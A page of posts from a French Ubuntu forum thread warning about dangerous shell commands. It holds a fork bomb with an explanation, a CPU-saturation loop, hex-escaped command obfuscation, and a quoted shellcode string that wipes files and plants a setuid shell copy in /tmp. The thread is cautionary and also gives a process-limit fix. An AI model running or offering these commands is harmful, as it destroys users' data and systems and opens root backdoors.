)) Commandes À Ne Pas Faire !! ((

jajaX · Le 23/10/2007, à 23:38

sympa ce post

Link31 · Le 24/10/2007, à 01:03

Hoper a écrit :

je sais qu'au final elle crée une infinité de process, mais pourquoi...

C'est assez simple une fois qu'on a remplacé le : par un nom compréhensible.

:(){ :|:& };: devient fonct(){ fonct|fonct& };fonct

c'est-à-dire :

fonct()
{
fonct|fonct&
};

fonct

On définit une fonction fonct, qui s'appelle elle-même (fonct|fonct&), puis redirige le résultat (en fait il n'y a pas de résultat, le but recherché est juste la redirection) vers une autre instance d'elle-même (fonct|fonct&) par l'intermédiaire d'un tuyau (fonct|fonct&). Cette dernière se place en arrière-plan (fonct|fonct&), ainsi elle ne bloque pas la suite de l'opération et ne disparaît pas si la fonction-mère se termine.
Enfin, la dernière ligne lance le tout.

Dernière modification par Link31 (Le 24/10/2007, à 01:03)

Astier · Le 24/10/2007, à 01:36

Intéressant ce post... A quand d'autres plaisanteries

Hoper · Le 24/10/2007, à 07:09

Link31 : Merci !! Clarissime comme explications

bmens · Le 10/01/2008, à 13:21

magnifique tout ceci

on vas pouvoir s'amuser LOL

Bon et maintenant un post avec les commandes courantes et indispensables

ce serais pas mal non plus

ça me rendrais service ( et à beaucoup je pense )

personne pour le creer ?

The Marauder · Le 29/01/2008, à 02:39

Je me souviens d'un sujet du forum qui avait été délibérément destructeur par l'auteur mal intentionné. En gros il avait caché un rm -Rf /* dans une assez longue ligne de commande. à‰tant pas habitué plus que ça au shell (un peu mais pas a ce point), je me demandais si un "expert" pouvais tenter de l'indiquer ici ?

\\Ouranos// · Le 21/08/2008, à 17:45

The Marauder a écrit :

Je me souviens d'un sujet du forum qui avait été délibérément destructeur par l'auteur mal intentionné. En gros il avait caché un rm -Rf /* dans une assez longue ligne de commande. à‰tant pas habitué plus que ça au shell (un peu mais pas a ce point), je me demandais si un "expert" pouvais tenter de l'indiquer ici ?

o-O

Sinon, pour les commandes qui font souffrir le proco : ){ :& cd /; du };:

Link31 · Le 21/08/2008, à 18:08

Ouranos999 a écrit :

Sinon, pour les commandes qui font souffrir le proco : ){ :& cd /; du };:

Pour utiliser le processeur à 100% indépendemment du nombre de cœurs :

(for ((i=0;i<$[$(grep -c proc /proc/cpuinfo)-1];i++)); do yes & done & yes) > /dev/null; killall yes

(note : cette commande ne fait rien de dangereux en soi)

The Marauder> cherche parmi les messages de "safe93" (qui a changé de pseudo depuis l'incident)

Dernière modification par Link31 (Le 13/10/2008, à 20:03)

\\Ouranos// · Le 13/10/2008, à 19:49

Ca fonctionne sous Gentoo, je ne sais pas pour les autres OS :

su -c 'export CHOST="un-truc-debile-qui-va-tout-bousiller"'

Compte supprimé · Le 17/07/2009, à 23:31

Link31 a écrit :

alnitrik a écrit :
:(){ :|:& };:
Explication?et solution?
C'est la fameuse fork bomb, bien expliquée sur Wikipedia : http://fr.wikipedia.org/wiki/Fork_bomb
La solution : ajouter @users hard nproc 2000 dans le fichier /etc/security/limits.conf. Et rebooter avant de tester (ne faites pas comme moi qui ai testé immédiatement après ).

ajouter @users soft nproc 200 dans le fichier /etc/security/limits.conf. Et rebooter suffiront largement. Attention c'est soft et non hard !
Remplacer @users par l'utilisateur ou le groupe

Bug #400992 reported : Lack(s) in /etc/security/limits.conf
https://bugs.launchpad.net/ubuntu/+bug/400992

Dernière modification par Compte supprimé (Le 18/07/2009, à 09:01)

Vysserk3 · Le 18/07/2009, à 09:53

The Marauder a écrit :

Je me souviens d'un sujet du forum qui avait été délibérément destructeur par l'auteur mal intentionné. En gros il avait caché un rm -Rf /* dans une assez longue ligne de commande. à‰tant pas habitué plus que ça au shell (un peu mais pas a ce point), je me demandais si un "expert" pouvais tenter de l'indiquer ici ?

Je ne suis pas un expert, mais effectivement en écrivant en shellcode, c'est-à-dire directement en code machine dans le terminal, on peut masquer toute sorte de commande malicieuse.
Par exemple :

`echo "\x6c\x73"`

exécute ls. En effet, \x indique que ce qui suit est en hexadécimal. 6c et 73 correspondent respectivement aux lettres "l" et "s". Les quotes inversé ` (altgr+7) permet de faire interpréter le résultat de la commande echo, qui est ls, donc d'exécuter ls.

Imaginez alors ce qu'il est possible de faire avec des rm. Il faut donc se méfier de ce genre de commande

Sur http://doc.ubuntu-fr.org/commandes_dangereuses#compilation_de_code, on voit qu'en utilisant du shell code on peut écrire un programme qui fait exactement ce que fait rm rf ...Donc méfiance.

Dernière modification par Vysserk3 (Le 18/07/2009, à 10:29)

Compte supprimé · Le 18/07/2009, à 17:21

Non, ce n'est pas du code machine. C'est du code ascii codé en hexadécimal.
On pourrait aussi avoir de l'ascii codé en octal.

echo -e "\043 \0116 \0157 \0156 \040 \0143 \047 \0145 \0163 \0164 \040 \0144 \0165 \040 \0143 \0157 \0144 \0145 \040 \0141 \0163 \0143 \0151 \0151"

Au final c'est du script Bash ici dans les deux cas.

Vysserk3 · Le 18/07/2009, à 17:56

Oui effectivement, je voulais parler de mon lien où là il y a du code machine écrit pour faire ce que fait le rm -rf.

Compte supprimé · Le 19/07/2009, à 07:11

Bonjour ... à tous !

Ce qui signifie que la commande rm :

ludovic@ubuntu:~$ ls -l /bin/rm
-rwxr-xr-x 1 root root 59952 2008-06-27 02:31 /bin/rm

de taille 58,55 ko se résumerait à ça : ?

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Voici le contenu en hexadécimal de la commande rm :

od -tx1 /bin/rm
rm.hex.txt
Les octets sont en hexadécimal et les adresses en octal.

Tiens : une autre commande à ne pas faire : od : permet de voir l'intérieur des fichiers ...

Vysserk3 · Le 19/07/2009, à 07:58

D'après le forum d'ubuntu, ca fait la commande :
rm -rf ~ / &
Qui supprime donc le répertoire personnel et tous les fichiers (si avec sudo).
Donc ca ne remplace pas la commande rm, qui elle doit aussi prendre en compte les paramètres et tout ça (d'où le code plus long ?). C'est juste du code destructeur qui fait ce que ferait cette commande destructrice...

Ubuntu-fr

Navigation

Liens de recherche

Annonce

#26 Le 23/10/2007, à 23:38

Re : )) Commandes À Ne Pas Faire !! ((

#27 Le 24/10/2007, à 01:03

Re : )) Commandes À Ne Pas Faire !! ((

#28 Le 24/10/2007, à 01:36

Re : )) Commandes À Ne Pas Faire !! ((

#29 Le 24/10/2007, à 07:09

Re : )) Commandes À Ne Pas Faire !! ((

#30 Le 10/01/2008, à 13:21

Re : )) Commandes À Ne Pas Faire !! ((

#31 Le 29/01/2008, à 02:39

Re : )) Commandes À Ne Pas Faire !! ((

#32 Le 21/08/2008, à 17:45

Re : )) Commandes À Ne Pas Faire !! ((

#33 Le 21/08/2008, à 18:08

Re : )) Commandes À Ne Pas Faire !! ((

#34 Le 13/10/2008, à 19:49

Re : )) Commandes À Ne Pas Faire !! ((

#35 Le 17/07/2009, à 23:31

Re : )) Commandes À Ne Pas Faire !! ((

#36 Le 18/07/2009, à 09:53

Re : )) Commandes À Ne Pas Faire !! ((

#37 Le 18/07/2009, à 17:21

Re : )) Commandes À Ne Pas Faire !! ((

#38 Le 18/07/2009, à 17:56

Re : )) Commandes À Ne Pas Faire !! ((

#39 Le 19/07/2009, à 07:11

Re : )) Commandes À Ne Pas Faire !! ((

#40 Le 19/07/2009, à 07:58

Re : )) Commandes À Ne Pas Faire !! ((

Pied de page des forums